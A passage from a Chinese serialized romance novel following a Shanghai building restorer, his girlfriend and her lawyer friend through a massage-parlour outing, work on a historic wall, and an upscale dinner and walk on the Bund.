“陆砚!你老实交代,有没有做过高价套餐!”律师问话了。 她在不长的职业生涯中,道听途说了太多...... 以至于知道目的地后,当即带上有色眼镜。 “没有,不碰那种。” “哦哟!你既然晓得‘那种’套餐,就肯定有过想法!是不是,回答我!” 律师?究竟是法律的沦丧还是道德的扭曲? 对方语气谈不上激动,倒像闻着瓜味赶来的猹,八卦的同时伺机拱把火。 呵,有陈禹那味了。 “我,”他指指自己的脸: “掏钱,做这个,”话说一半顾南乔就晓得瓜没了,“对方不要太赚哦!” 如果此时开庭对峙,对方无疑‘啪’的一下丢出分量不小的证据。 杨灵点头,表示相信。 但好的律师永不言弃:“谁晓得你有没有特殊癖好——” 说罢,竟准备当场科普各式不为人知的玩法...... 最有魅力的雄性往往具有领袖特质,而领袖,必须把控对话的走向。 “走啦走啦,大堂经理门口等好久了。” 终于,这家某团评分4.9且价格不高的养生馆,又将有三个技师上钟。 ...... 顾明远作为纳税较多的人群,自然可以和地方领导联系上。 在事情尘埃落定以前,他依然是那个原则: 企图达成以前,连做梦都要嘴巴闭紧。 而且很多情况是透明的,压根不必去通话或者试探。 人类千年以来,不管文化、文明如何发展,如何包装行为,其本性从未改变。 你满怀侥幸给亲戚、朋友打了电话,得到一个满是积极意味的虚假回答,又有什么意义? 除了让情况变得更糟。 只有行动,只看结果—— 很多男人成了丈夫、成了父亲,却依然稚嫩。 其缘故就在于,对人有幻想。 陈禹倘若在此处,倘若能与顾明远交心,定会少些烦扰。 有这个可能吗? 顾明远不会和任何人交心。 就他所观察的世界,亦没有任何一个人、任何一片地方,可以安放男人的心。 拿顾南乔举例。 他可以把更多精力放到其成长和教育上,即使错过商机也无妨。 然而总有一天,和谐的父女俩会遇到其他的问题。 因由某个母题诞生一系列烦恼: 出生不好,平台不够,乃至吃不起肯德基而感到自卑、产生亚健康心理...... 人得明白一件事,游戏世界里,新手村有新手村的烦恼,高端局有高端局的烦恼。 两处烦恼没有高低贵贱,一样折磨。 是以顾明远只在对方需要的时候,做力所能及的事;不能提供帮助,就闭口不言。 “姚局,是我,顾明远。” ...... 成年人少有童趣。 因为看问题的时候,他们失去了幼稚的视角。 杨灵的视角有时候很幼稚,就比如说一起来养生馆的时候。 “陆砚,你不准选女技师!” 她尽量严肃,让对方感受决心;又不能过于严肃,怕扫了他的兴。 “无所谓......那就选男的吧。” 讲真,选男的,膈应死了! “不行,男技师进来我难受!”顾南乔说。 三人换好店里的衣服,棉质浴衣松垮垂在肩头。 女款面料较少,系带随意打了个结,在腰间勾勒出一道若有似无的曲线。 低领口微微敞开至锁骨处,下摆距离膝上一拳,白皙的小腿无半点遮挡。 呼叫技师的钮已经按下去,留给他斗争的时间不多了。 “就算有泰式spa,也没有人幺技师吧?” 他质疑。 男的不行,女的不行,那我走? “不能走,谁知道你会不会去楼上偷偷高消费。” 顾南乔看向杨灵。 随手丢出一个对方不能接受的画面,便已然成功了大半。 她深谙人的想象力有多厉害。 果不其然: “嗯......对。” 陆砚左侧床发出认同,场面二比一,小劣。 “但是——” “笃笃笃!” “进。” 女技师一看就家境不好,缺衣短料的,上衣面料连腰线都遮不住! “欢迎为您服务!我是18号技师小可......” “欢迎为您服务!我是28号......” 待到三人照例把培训过的话术说完......场面一度安静得可怕。 杨灵被顾南乔拉着办过卡,会所里面的女技师个个都是中式长袍,或者短袖马褂—— 从没见过穿黑丝短裙和露肚脐装上班的! 原本玩笑的心态悄然发生转变...... 就像从不在外面喝酒一样,她从不在外面跟最亲爱的男朋友生气。 看着陆砚,杨灵笑了笑,等解释。 如果相处那么久、两人彼此那么熟悉以后,他还不能看出对方的眼神,那真是不应该。 可,解释什么呢?有什么好解释的? 按摩行业很卷的!人家很正规的! 以上这些话通通不能说。 同时,他晓得了,某团几乎没差评的江山是如何打下来的了: “这位客人需要换男技师吗?我们这边都是经过专业培训的正规技师,手法包您满意。” “谢谢,不用了——诶不是,我的意思是不用换技师......而且只需要两位,我一边呆着。” 刚才想的是如何积极争取,现在想的是如何割地赔款。 人生道阻且长,男人的,更长更阻碍! 左边床的左边床,脚被轻轻托放进水桶、开始感受药浴揉搓的那位客人,无不小兴地换了嘴脸,调侃打趣: “陆师傅,不体验吗?来都来了~” 讲真,他是老实人,想说句公道话——先在心里说一遍吧: ‘什么年代了,情侣一起按个脚怎么了?女技师又怎么了?男技师也行啊!’ 说完一遍果然舒畅。 他想通了,说:“有道理,还是要体验的。” “...” 仅一床之隔,顾南乔迟迟不作答。 不用想都知道,此刻背后有双眼睛幽怨极了,若是再拖个三五秒,‘委屈’上来事就大了。 杨灵嘛,身上每一颗痣长什么地方,都摸得清清楚楚了。 “18号......技师?钟费照常结算,现在你去外面休息一下吧。” 他没有忘记白天的时候,是如何思念的紧。 也没有忘记对方带来的快乐、感动,和每每静下来,‘砰砰’跳个不停、把幸福推送全身的那颗喜爱着她的心。 “啊?” 18号脸上露出粉底都盖不住的疑惑。 那我走? “杨小姐,区区不才,正好略懂推拿。” 回看坐床上,初见便念念不忘、一身书卷气的女人。 鹅蛋脸的线条被岁月打磨得清透,下颌角收得极轻,像是工笔画里提笔时的一顿; 仿佛呼吸都带着书卷气,恰似江南水乡晨雾里刚摘的茉莉花。 她的睫毛颤了颤,抖落最后一丝‘不快’,杏眼明显变得灵动。 可脚趾蜷曲,嘴唇糯糯几次,不知道说什么。 陆砚知道,她‘看见了’。 就和每个努力赚钱的男人一样,只要‘努力’被心爱的人看见了、认可了,就值了。 “抬脚,宝宝。” “好~” 第九十五章 心意 努力,被看见很重要。 二十分钟的服务远称不上‘努力’。 甚至按到大腿和腰臀部位的时候,挺解压的。 但杨灵不这么认为。 简单按完一遍,她还没眯眼休息片刻,就起身了。 没在意28号技师的震惊,和顾南乔的调侃,执意让陆砚也躺着,她来按。 18号进来帮忙换了桶热水,陆砚一脸懵的被女友请上按摩床。 脚踝漫过水面、柔嫩的小手轻轻拂过时,柔和的眉眼、温柔的目光、红润的脸颊—— 永远不会忘记。 ...... 十二点的月光造访大地,大平层某个套间的大床上,躺着两个人、一只鲨鱼公仔。 她们的头发扎成同款丸子头。 白皙的皮肤,即使在没开灯的房间里、依靠透窗的细碎朦胧,也可以漾起诱人光泽。 乔乔睡了。 杨灵不动声色想着,轻轻抬起被子。 为减少摩擦,她采取翻转式下床。 过程中不可避免发出些动静,顿时停下动作,‘我去上厕所’的说辞随时准备托出。 ......应该是虚惊一场。 确认对方没醒,接着行动。 终于下床。 爱看动物世界的小伙伴都知道: 猫科动物夜间行动总悄无声息,因为它们不穿拖鞋。 大理石地面泛光,白玉盘静静悬在窗边,家具们只剩一个剪影。 剪影疑似是雀跃的。 一切都要从两个小时前说起...... “人生赢家呀陆师傅!我的话,怎么也不会跟男朋友洗脚的哟。” 饶是一向不怎么在意面子的杨灵、和向来自夸习惯了的陆砚,都觉得有点不好意思。 尽管主流语境中,‘为女人付出的男人值得夸赞’,他也才在心里暗示和多重原因加持下、决定行动。 确实想不明白,一个怎么打量都会被贴上大美女标签的人,居然能不避讳做到这步。 “我也没想到。” 此刻,迫不及待想听杨灵说原因。 想听,气色永远那么健康、完全不需要胭脂妆点的她,说出克服害羞的原因。 “不能辜负你。” “......笨蛋。” “顾乔乔,不准骂她!” “就骂就骂!” 出店门外,陆砚誓要帮杨灵‘骂’回来,顾南乔则被‘骂’急了追着他揍,杨灵是‘秦皇宫的柱子’。 三个人在街上左右横挪,连10后看了都要说声‘童趣’。 远远跑开、再快速折返,趁顾南乔没追上的空隙,他在杨灵耳边说: “没你我睡不习惯,晚上——” “小赤佬!今朝侬骂得老爽额是伐!” 陆砚一边后撤,一边看她。 直到杨灵眨眨眼后,才转头跑开。 亲爱的朋友: 被看见,很重要。 子期遇伯牙于高山流水,及殆,伯牙破琴绝弦以明志; 燕太子丹以国士礼待荆轲,轲遂慷慨赴死。 十月末,晚秋的浦东南路,杨灵就在身旁。 男人觉得,以后就是帮她挡子弹,也心甘情愿。 ...... 绕到另一房门前,轻轻扭动把手。 “咔嚓!” 随后,一个炽热的怀抱把她捕捉。 彼此熟悉的气息和触感、共同编织了暖香与体温绞织的丝绒茧。 唇齿间逸出的叹息是茧丝上颤动的银线,将缠绕的躯体锁进比夜色更浓稠的温柔里。 窒息前一秒,才舍得短暂分开。 喘着气,杨灵忽然夺过他的拖鞋,让其等待。 不一会,又拿着两个方盒进来。 一个姓杜,一个姓杰,都是大牌子货。 她的眼里有秋水繁星,亦有未经雕琢的天真。 “房子隔音好不好?” “不知道诶,收着点......比较保险。” 心下感动的同时,升起淡淡怜惜。 把盒子丢床上,没管,手指轻轻顺着她的发、划至腰肢: “你太好了,我都忍不住打抱不平......” 杨灵向来喜欢被夸赞,尤其是这种时候。 轻轻啄了一口,眼睛和眼睛之间的距离很近。 “灵灵。” “嗯?” “今天先不用那些。” 杏眼顿时瞪得很大,闪烁几次,又点点头。 ......好吧,算意外之喜。 但陆砚不是那个意思: “你受累,咱们和之前一样。” 说罢,抱着去浴室。 遇到阻挡,她帮着拉开门,颇有高山流水遇知音的默契。 浴缸一年用不到几次,实在可惜,不是吗? ...... 有一种老板,喜欢喝茶,但特别害怕‘被请去喝茶’。 还有一种老板,不喜欢喝茶,对‘被请去喝茶’倒由衷希望。 某酒店,江景套房,顾明远坐在窗边回顾过去二十余年。 自打有了顾南乔以后,经他手的订单金额就节节攀升。 仿佛真应了当初起名的卦师说的—— 南乔,为南方枝繁叶茂的高木。蕴‘香草美人’的品格隐喻,同时暗合‘离为火,为南方之卦’的蓬勃生命力,象征向阳而生的积极意象。 “顾南乔......好名字......” 二十七年前,把她捧在胸前的喜悦仍在怀里回荡。 犹记得,大家伙都高兴。 承包商、包工头一天天变着法地为这孩子唱赞歌,送寓意吉祥的礼。 他收了不少。 不看对方来头,不管订单大小,只要喜庆话说得好、说得真,没有一个父亲能拒绝他们的好意。 他的孩子打小就长得标志、讨喜,理当用最好的物件、过最好的生活。 是以,顾南乔去到哪里,他的捐赠就跟到哪里,那里的管理者总会行些方便—— 国外也不例外。 但,爱应是克制的。 如果是别人家的孩子,只要孩子高兴,要什么、满足就行,这是喜欢; 轮到自家孩子呢? ‘垃圾食品’就是会下意识触动父母的神经,她再喜欢,也要忍心拒绝。 顾明远深知阶级滑落、财富传递的规律,也看过太多人来人往。 所以十岁送她出国的时候,说: ‘父母再有本事,也是会老,会失误,会落马,会破产的。’ 年富力强、家财万贯的顾明远当时真的相信,会有这么一天的。 他揪着心,接着说: ‘乔乔,你要晓得,真正的成功不是看自己,而是看孩子甚至孙子。’ 是如此殷切。 如此、如此。 那会顾南乔哭闹着不想走,即使答应一周看她一次也劝收不住眼泪,嘴里反复问着‘为什么’。 为什么? 他在心里说—— 集体统一规训的力量过于强大,在成长起来以前,必须要筑构自己的圈子、隔绝外来的声音。 落到嘴边,用顾南乔能听得懂的话讲,便是: 乔乔,你要多看看,看那些‘天经地义’的事物在另一个地方是可以没有的; 你要学会好好生活,学会‘道德’最原始的模样,那才是真正的道德; 乔乔,每天不要忘记给我打电话,我们没有时差的,爸爸一直有空...... 俱往矣。 不想再拖了。 也不去想什么财产转移的小动作。 清算吧,他想去喝茶了。 ......揉了揉眼睛,拿起手机,对话框一笔一划写着: ‘乔乔,遇事不要慌,切记。’ 第九十六章 艰难的情话 他不理解杨灵为什么还要回去,大半夜的,搞得像偷那个啥一样。 难不成顾某真是她第二个男朋友? 不对啊,按照时间顺序...... 最后将她的行为归结于,女人间隐秘的心思之后,睡觉。 ...... 马尔克斯说,生命中曾经有过的所有灿烂,终究,都需要用寂寞来偿还。 陆砚反对。 舒舒服服一觉到天亮,昨晚的余韵还在回味。 遂觉得,把握当下幸福才是最智慧的。 八点整,客厅只有他一个人,那边房间没有一点开门的迹象。 此刻,终于明白家长的感受了——别和皮孩子玩! 肯定是顾乔乔赖床,把他家小孩也带坏了! 明明昨天还三个人一起吃早餐、出门上班来着,才坚持一天就原形毕露了? “笃笃笃!” “进。” “你们在......干嘛?” 杨灵坐在床头,伸直腿;顾南乔坐在床尾,握着她的脚—— “同款颜色哦,好不好看?” 她握着杨灵的,伸出自己的,同时晃了晃。 哦,涂指甲油啊。 真无聊。 “真有意义,让一点都不紧迫的早晨充实起来了呢,顾律师。” “我之前怎么教你的?女孩子问好不好看,起码要夸三句以上,晓得伐?” “晓得伐?” 女朋友插手抱胸同问,借顾南乔的虎皮装作严肃呢。 所以说,女人的体质很重要。 就比方说杨灵,皮肤紧致,白里透红的脸蛋一看就知道身体健康; 再看顾南乔,平时叫得最嚣张,可刚起床的时候分明过分白净了点,和手中鲜艳的指甲油形成对比。 一看就气血亏空! “晓得晓得,好看得嘞,大美女要是记得叫三份早餐就更好了。” 现在他也习惯‘物业管家’的存在了。 只能说,不能让杨灵的高昂物业费白交! “吃吃吃,给陆师傅点双人餐!” 看着顾南乔有点虚弱的脸色,半点没感到威力,甚至觉得内含萌点。 她也有所察觉,说: “看什么啦,帮你女朋友搞服务,你就这个态度?” 两人工作比较偏严肃,所以手上、面部装饰不宜‘花哨’,美甲、眼影等装饰就更别说了。 所以才沦落到、在看不见的地方涂涂指甲油的地步。 陆砚暗自记下,然后发出疑问: “灵灵,衣服穿同款,颜色选同款。人家都怕撞衫,你们反着来的?” “无所谓呀~” 小脑袋晃着,对他眨眨眼。 陆砚秒懂,是昨晚行动没被发现、正得意呢。 “别动!” “噢。” ...... 三人、三部车一起出门,逐一分道扬镳。 陆砚来到花店,老板娘一眼就看见了熟客: “小伙子来啦?快选一束,我推荐刚到的糖果流多头玫瑰,嫩得不得了嘞!” 四十来岁的模样,穿着背带裤,如往常一眼推荐鲜花。 他也如往常一样问:“今天编的花语是什么?” “糖果般甜蜜,甜蜜的爱。哪里是编的啦,明明那么合适~晓得你每天送花,跟你糖都准备好啦!” 说罢,柜台上确实放了两颗亮晶纸糖果。 那咋办呢?就这个呗。 他在便签纸上写道: ‘世界上有那么多优秀的人,为什么我会单恋一枝花呢’ 不行,下句衔接得再好也不能扭转颓败的意味。 又写: ‘最充分的、无可辩驳的理由,此句根源性的脑洞,相爱’ 不不不,油腻至极。 作为古建行业最有审美或者最有美感(二选一)的老师傅,他对自己的造物十分苛刻。 “小伙子,是不是书看少了,下笔没有神啊。”老板娘调侃道。 因为前几天,陆砚都是一气呵成的。 然而那都是此前的积累,现编肯定不会太顺的。 几经思量,时间不逮,他渐渐感到储备不足,灵感几近枯竭。 又是良久,写下: ‘当我卡着自身的局限,不断追问意义的时候,爱出现了,它说到此为止,我就是意义’ 八点五十二,来不及再想。 “阿姨,还是那个地址,谢谢啦!” 他把两颗糖放进去,打完招呼就往外赶,心里苦恼明天该怎么办。 ...... “陆师傅!迟到快十分钟啦!” 此句不用表明身份。 “优秀的人才、要学会自主工作,我现在十分怀疑你是用抨击我的举动,来掩盖自己偷懒的行径。” 她急了。 可‘敌人’越急,恰恰证明我们对了! 忍了又忍,苏棠发现居然真的能忍住......决定下次再遭受这样的冒犯,一定狠狠惩罚陆师傅。 “小军哥!” 场上唯有陆砚会这样喊,冯小军回头,不知怎么回答。 “今朝任务重,也要好好努力啊!” 他拍了拍实习生的肩膀,宛如交接了什么重担。 “包的,陆哥。” “我去,陆哥迟到居然不是因为带早餐,到底是感情淡了!” “张哥息怒,明天补。” 越过面色不忿的小小酥糖,他携着两员大将去大厅开会——关于清水墙修复第二阶段之分析清水墙病理表。 所谓病理表,就和记录病人的档案一样,上面有各个部位的各种问题。 他们要做的,就是针对各种问题,找出成因并设计解决方案。 比方说‘裂缝’一项,具体哪个位置的哪块砖,它的走向和是否贯通是关键点。 随后分析导致原因,是环境?还是建筑沉降导致墙体开裂? 最后针对分析结果,给它定性,属于高度优先级、还是一般优先级。 以上便是大致流程。 如同医院医生针对病人各个部位开会一样,冯小军有种职业庄重感。 随后新人医生便接到任务,针对‘生物侵蚀’,先搞一场局部护理——由老师傅带领,清除砖上苔藓、霉菌和植物根系。 另一位老师傅,则带着苏棠去历史建筑保护中心设备托管库,取台风应急设备。 “喂!” 陆砚凑到背后冷的出声,惊得她一个激灵。 虽说确实没分配事情吧,但小姑娘大早上杵那玩手机......敢当着老板的面偷懒,老板心里像有蚂蚁在爬啊! “你做什么嘛!讨厌死了这个人!” 说着也不顾所谓长幼尊卑,抄起拳头就要教训面前的二旬老汉。 淡蓝色背带裤也拉不住羞愤的她。 第九十七章 各自的工作 顾南乔察觉了不对劲: 黄埔厂拆迁案明面上还没成立案件小组,但今早已经看到好几个同事在翻查相关资料了。 隐约听到他们下午要一起开个会。 她是此案的执行律师,从头到尾都亲自对接、跟进,怎么现在有种被排除在外的感觉? 或许听错、听岔了吧。 工作邮箱收到消息。 是指导律师的邮件,赶紧点开—— ‘徐汇区老洋房产权纠纷案’。 这是,尽调工作? 要她去查另一个案子的产权档案、文件分类编号? 且不说一般法律助理就能做,现在手上有大案子等着在,哪有时间去查资料啊! 不好的预感逐步浮现,传说中,被抢业务、穿小鞋的事情...... 会不会发生她身上了? 可明明,王显宗前几天还说,和张羌商量、讨论,没提让她调离啊。 想到此处,径直起身,穿过走廊拐角。 路上短短十来秒,各样的可能一一浮现,她要个明确答复。 “笃笃笃!” “进。” 男人端坐着,眼镜西装,一丝不苟。 “王律,黄埔厂的案子您是给别人做了吗?” 中年男人看起来微微一愣,双手平放桌上,说: “怎么回事?” 他的反应让顾南乔心里一松,随即娓娓道来。 ...... 杨灵的专题汇报反响不错。 不仅仅因为顶尖的学历和容貌加持,自身的口条表现和工作专业度亦让旁人满意。 局里当即表示看好,等现场验收走完流程后,大概率会进一步支持‘智能化文保’的推进。 上午开完讨论会,面上波澜不惊的特聘专家Ms.杨,当即躲进厕所点开群聊。 (重生之我在沪上修危房) @Adeline:(语音)乔乔,晚上我们去和平饭店吃吧。 消息发送,她盯着屏幕,满心欢喜等待着。 不一会,有了。 墨斗先生:感情淡了,那我走?(恋恋不舍.jpg) 外人眼里严肃认真的面具‘扑哧’就破碎了,压低声音,贴着手机说—— @Adeline:你跟我走就行了,我在问乔乔呢。 墨斗先生:抱紧富婆大腿。(呲溜流口水.jpg) 简短的文字后头跟着个仪态不算雅志的表情,杨灵很满意。 男朋友一下子找准了她最喜欢的对话模式。 没错,Ms.杨心里藏着一个小小愿望——把伴侣变成家庭主夫。 不是说让天天做饭那种。 而是特别着迷,对方围着自己转、时刻捧着的感觉。 比和平饭店的菜更让人开心呢。 @Adeline:(语言)表现好的话,大腿给你抱。 我系统呢:可以啊,但晚上可能迟一点。(流泪.jpg) 墨斗先生:车子没油啦?打出租车不会? 我系统呢:@@Adeline,你男朋友嘴这么碎,平时忍得了? “忍得了。” 她小声说。 顾南乔翻了个白眼,手机放一边,接着标注黄埔厂拆迁案的疑点。 王显宗说,他和顾明远也认识,肯定不会让不公平的事发生,一会去问问指导律师怎么回事。 同时还交代了,多和张羌讨论案件,经验丰富的前辈能帮上忙。 是以,张律师又一次过来请喝咖啡的时候,没拒绝。 只是还没聊到正题,对方又接到紧急电话,临走前约了晚上一起吃饭。 撞一块了呀...... 顾南乔大概知道闺蜜为什么邀约。 没和陆砚在一起的时候天天拉着她聊,无外乎庆祝工作顺利嘛。 十一点五十七分,午餐懒得吃了,认真工作吧。 ...... “陆师傅,取个设备怎么讷么麻烦啊!” 回来路上,苏棠开启碎碎念模式: “又是预约又是填表,还要开证明......老洋房修缮合同你可别放我这,我经常丢东西的。” “小苏,师傅已经领进门了,下次就直接喊冯小军开车,你自己来取。” “啊?” 小姑娘尾音拖得很长、转折声很大,以此充分表述不满。 “我才不要做这种工作咧,反正一样的工资、做什么都能过一天......” “我去,陆师傅喊习惯了,你也太不拿老板当老板了吧!” 他也是乐了。 尽管刚刚都是开玩笑,也不能真让实习生担这么大责任。 但她也太真实了吧! 放自己大四那会,可不敢放肆。 “本来就是嘛,小心我跟杨老师告状。” “...” 没去收拾以下克上的小小实习生,车子开进洋房区,稳稳挺进前院。 到午饭时间了。 “今天什么菜?” “人家怎么知道啦,一上午都在你旁边,还问!” 呵呵,加工资? 鸡腿都不给你加! 进门,张野都快吃完了。 “陆哥、小苏,快来。” 今天没开电扇,‘秋高气爽’的初冬,气候就是宜人。 “把小苏的鸡腿给我。” “不给!” “那把小板凳给我,你蹲墙边吃去。” “......烦死啦,油腻大叔!” 拿小姑娘逗闷属实有趣,仅仅一个上午,陆砚就有点无法自拔。 以后无聊琐事,肯定要带着她的。 “陆哥,听说明天休息一天?”扎长头发的小赵说。 “对头滴!” 不知不觉,一个星期又过去了。 陆砚决定卡在周六,让大伙享受和上班族一样的待遇——双休日休假一天。 “我靠,这比发红包还让人幸福。” “张哥,真性福假幸福?” 两人对视一笑,都憧憬着自己的性福。 注意到旷日深沉的冯小军也在旁边发笑,老师傅当即多抖露了点内涵段子,誓要把快乐散播出去。 “说到这里,就不得不提那个大我十三岁的沪上阿姨凌晨三点敲门.......” “女大三抱金砖,女大十三那只能抱歉了啊!” “陆哥你不懂,挑食是要营养不良的,俗话说得好,萝卜白菜人人都爱。” “哥们,喜欢一个人的眼神是藏不住的,喜欢很多人的眼神可得藏好了。” 直到女实习生拍桌子,才收敛。 闲谈模式结束。 随意挪开鸡腿,翻动碗里的丸子,陆砚说: “周叔,有空咱们把屋顶搞一搞?” 屋顶是重中之重,台风来袭的首当其冲。 老周沉默得比以往久些: “......后头吧,手里还一点尾巴。” 也行,还三四天,活还是挺自由的。 诶? 中午的饭怎么吃得不香了? 原来晚上有大餐啊,那浅浅对付一口吧。 第九十八章 自由意志沉沦 和平饭店,其历史渊源和内饰奢华足以请上专业导游,连讲半小时不歇息。 旋转门把外滩的风切碎,陆砚第一次来。 进去之前正杨灵发消息,那会心情还挺好。 礼宾员深鞠躬时银制领针轻晃,铺着地毯的长廊,水晶吊灯的光斑在深褐色胡桃木墙面流淌。 如此考究奢华的饭店,终究还是刺痛了眼,和男人敏感的心。 被领着上楼,一路上再没留意细节。 甚至有意忽略、透露着昂贵价值的细节。 一个声音反复提醒: 她开心,你也要开心;一会找个机会,把单买了。 “嗒、嗒、嗒。” 上楼,进入大厅,落地窗外的黄浦江突然撞进视野。 再度调整一番,他有信心做到面上不露怯,就像跟甲方对接时,‘装腔作势’。 陆家嘴的摩天楼群嘛,又不是没见过。 对岸的霓虹灯景嘛,看看又不咋地。 侍者领着绕过Deco风立柱,亦或泛着鎏金的考究家具层出不穷时,他完全压得住波澜。 适应能力就是如此之快。 这是每个男人,必须、必须有的能力。 俗称,‘别人以为你多有钱,便是你的第二个钱包’ 窗边一个相对僻静的位置,两道熟悉的身影出现视野。 “不好意思,来迟了。” 其实他们没有约具体时间,而此时堪堪六点左右,不算迟—— “好慢啊!罪人,罪人!” “大律师不是有事吗?来太早了吧。” 杨灵对面坐下,还没开口问吃饭原因,她先说: “陆砚你饿不饿,可以迟点上菜的。” 三言两语下,‘只是换了个地方吃饭’的概念,便被她们清晰传达过来。 彻底放松,再不拘束: “吃不完可以打包嘛?想给我女朋友也带点。” 此处是个有腔调的地方,小范围的口无遮拦并不会惹来周围注视。 对面顾南乔小声轻咳,肃了肃神色。 杨灵有样学样,一本正经地同步严肃。 “也不是不行,现在心疼女朋友的男人还是可以容忍一下的。” “没错。” “但是嘛......得把杨博士陪好了才行。” “没错!” 无意触发的剧本莫名刺激,‘女朋友’本人答应得很痛快。 陆砚:“杨博士啊,圈内谁不知道她眼光独到、智勇双全,跟着您混的人都受益匪浅,我打心眼里佩服。” “尽说些废话,杨博士现在手里资源多得让人眼热,你小子好好争取。” 顾南乔故意把‘资源’二字咬得很重,眼角余光看向陆砚—— 不知是哪里学来的话术,连动作细节都参考到位了! “......没错。” “杨博士向来低调,简单的回答内里都暗含难测的智慧,真是字字珠玑,陆某还得多学。” 顾掮客手指交叉而立,身子前倾: “以小陆的悟性,只要有贵人相助,前途不可限量。杨博士向来惜才......” 杨博士有点演不下去了,率先破功而笑。 也正是由着这声清脆的喜悦,今天的晚餐拉开帷幕: 墨绿旗袍服务员静步走到桌前,银质托盘覆着铜制餐盖,屈膝半蹲,声音轻柔地问候。 边说,右手优雅翻转,左手稳稳托住餐盖,讲述菜肴来历、吃法。 上菜过程有干冰氤氲的云雾、点火器引发的蓝色火焰; 侍者把需要分装的依次放入骨瓷碗,需要拆解的小心剥离。 也罢,再多就赘述了。 陆砚在思忖,一会如何找机会去买单—— 难道说借着上厕所的机会,对服务员指着他们的桌子,说‘这桌买单’? 没有包间的坏处这就体现出来了: 要是指得不准,有概率买错;要是服务员看得不清,反复在旁边确认,又他乃乃的尴尬。 对了,桌上有牌子,说几号就行。 就是不晓得,结账的时候他们手上有没有记账,会不会专门去桌上拿小票...... 原来霸总故事中,一个简单的动作、简单的剧情,落实到真实场景,居然那么麻烦。 ...... “八宝珍珠鸭,甜咸口,我女朋友应该不爱吃,顾乔乔你多吃点。” “小赤佬你不要逼我在高兴的日子骂你!” 该怎么把女人说话时,分明是示威、却怎么听都觉得骨头酥麻的口吻表述出来呢—— 得亏张野不在场,不然得爽死。 “话说灵灵,今天发生什么了?不说说吗?” “不说~过段时间再告诉你。” 杨灵矜持一笑。 等专家考核过了以后,局里应该会给宣传资源,到时候她准备把陆砚的视频素材交上去...... 让他也上电视。 惊喜,当然不能说。 “明天我休息一天,杨博士有什么展望没有?” “真的?” 桌下一只脚轻轻踩了踩鞋尖,像一片落叶拂过琴弦。 顾南乔偏过头在专心讲电话,杨灵慢慢地回答着,睫毛在灯光下投出细碎阴影。 唯有他脚踝处传来的丝绸触感知道,看似平静的裙摆之下,正有一只蝴蝶用翅膀丈量着秘密的温度。 “嗯嗯,你有空吗。” 她依然专注看盘里的虾籽乌参,声音小得很神秘,脸上自始至终带着红晕、和往常一样: “有的。明天陪我出去玩。” 脚尖上移,点了点他的小腿——对方的腿长很轻松做到这步—— 此刻犹如中提琴弦被指尖揉按出的滑音,在顾律师聊案件的背景音中,成了独属于两人的五度和声。 他几乎火热得不敢起身。 这还怎么买单? “灵灵,我晚上得出去一下......现在就走,你们俩先吃。” “好的呀~” ...... 杨灵去了厕所,陆砚正好结账。 3768,内含百分之十六的服务费。 靠! 之前吓了一大跳,现在想想就不值当。 倒不是觉得便宜,换作平时也没类似高消费。 只是没到想象中的昂贵罢了。 和第一次看到她的车子、房子相比,确实不该失态。 靠在椅背,算着近期还有多少可支配资金——不多了,甚至捉襟见肘。 但此时此刻只会激起男人奋斗的欲望。 甚至觉得—— 拼命搞钱,然后全部给杨灵花掉,会是一件非常舒服的事情。 每个男人生来就是奉献者。 生物学家说,基因延续的本能使然; 心理学家说,奉献是降低自身焦虑的本能选择。 不论如何,现在的他,可以为一个人抗拒所有诱惑的同时,对那个人毫无抵抗力—— 月白色的长裙随女人的步伐轻颤,宛如晨露点缀的玉兰花瓣。 本来熟悉的脸庞,历经种种之后,又产生了初见时的惊艳感。 不受控制,无法抵挡。 他,坠入爱河了。 第九十九章 偷感很重 旋转门吐出的暖风裹着雪松香氛,在晚秋的江风中骤然冷却。 她缩了缩脖子,羊绒坎肩的驼色毛领蹭过他的肩膀。 陆砚顺势揽住腰,指腹隔着连衣裙衣料仍能感受柔软的体温: “风这么大,非要去看明珠塔亮灯?” “我男朋友说的,要多出去走走。” 女人用手托住他的下巴,捏了捏,表示这句话的出处。 外滩建筑群投下暖黄光影,身后万国博览群的尖顶刺破夜色。 海关钟楼的钟声响起,飞鸟扑棱声混着江轮汽笛,在黄浦江上荡开涟漪。 他们穿过陈毅广场,青铜雕像的目光掠过相拥的身影。 杨灵含糊不清地说着傻话: “你说当年陈市长等张茜女士的时候,会不会也像我们这样?” 湿热的呼吸打在他脸上,话音未落,身影再度贴合: “他等的是上海,我等的——”低头咬住泛红的耳垂,“是活生生的你。” 渡轮的探照灯扫过江面,对岸的东方明珠塔亮起第一串彩灯,紫色光带沿球体螺旋攀升,像给夜空系上发光的缎带。 她踮脚去够陆砚嘴角的笑意,得偿所愿后,说: “谢谢男朋友请我吃饭,真的很幸福!” 瞧瞧,对方总能看见,从不让人失望。 该幸福的,是自己才对! “宝宝,是个男人都无法抵抗的......而且,没想到你还会这招。” “什么招?” 仰起脸,清澈的杏眼蒙上薄雾,眉间浅浅蹙起。 “哦?什么招数你不知道?” “不知道呀。” 发丝不断拂过陆砚的脖颈,心像被桌下撩拨时灼热。 干净的脸上恰到好处升起疑惑和好奇,方才的诱惑与此刻的单纯撞出极致女人魅力。 陆砚感叹: 如果是装的,那便是天生的演员,拥有高超的演技。 ......等等! 真不像演的! 当即转过弯来,细想,身体一僵。 “就是扮演强势的杨博士嘛,真像霸道女总裁......对了,那边有卖果茶的,我去帮你买一杯吧。” “抱抱就好——,我真的好喜欢你呀。” 连声音都如此温柔的女人轻轻张开手拥抱,明明没做错事的陆砚,被一种名为‘愧疚’的罪恶心情击中。 他说,以后会努力赚钱,多多买单。 他迫切承诺着,想要一张赎罪券。 可女孩不知道,满眼感动: “要不要去开房?” “...” 本会意动的心格外沉稳,面对杨灵,他从未如此‘冷静’。 冷静到,心事重重。 可不能太久不作答,沉默会伤了最喜爱的人的心。 此时,恨不得破开胸膛、证明自己纯粹爱意男人,无比、无比真挚地说: “我想多陪陪你,咱们一起想明天约会,散步,然后回家洗澡,看动物世界吧。” 杨灵一连回吻好几口,温顺极了。 ...... 在晚上放了对方鸽子之后,顾南乔又接到张羌的电话。 也不能说放鸽子。 毕竟请对方吃了份Urban Bites的轻食,只是两人没待到五分钟,她就找借口溜了。 吃饭的时候电话里说,有急事,和她相关,务必过来。 于是顾南乔不耐烦地在先科律师大厦前等着。 眼看到了约定时间,还没信,烦躁更甚。 在加班?还是故意拖着? 灵灵他们现在是不是去哪里浪漫去了? ......呵,正好给他们腾位置,自己急什么。 有眼力见点,多在外面待会才是。 而且,现在一个呆着也挺好的。 即使是住在杨灵家,偶尔也会想要独处一会。 